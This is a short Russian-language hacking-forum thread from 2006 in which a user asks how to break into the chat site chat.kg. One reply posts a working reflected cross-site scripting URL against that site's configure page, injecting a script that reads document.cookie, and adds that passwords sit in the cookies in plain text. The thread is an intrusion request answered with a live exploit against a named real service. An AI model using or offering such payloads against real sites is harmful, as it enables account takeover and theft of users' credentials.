Чаты Взлом чата chat.kg

Discussion in 'Веб-уязвимости' started by web_monstr, 19 Dec 2006.

  1. web_monstr

    web_monstr New Member

    Joined:
    16 Dec 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    кто может посоветовать как можно взломать чат
    http://chat.kg // чат на основе Java с ++
     
  2. Антошка2003

    Антошка2003 Elder - Старейшина

    Joined:
    3 Apr 2005
    Messages:
    534
    Likes Received:
    66
    Reputations:
    49
    никак, давно уже проверял, ничего не нашёл. пользуйся поиском.
     
  3. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    посмотрел....
    пасcивная xss :

    https://chat.kg/configure.jsp?email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    причем пароль в куках в открытом виде :)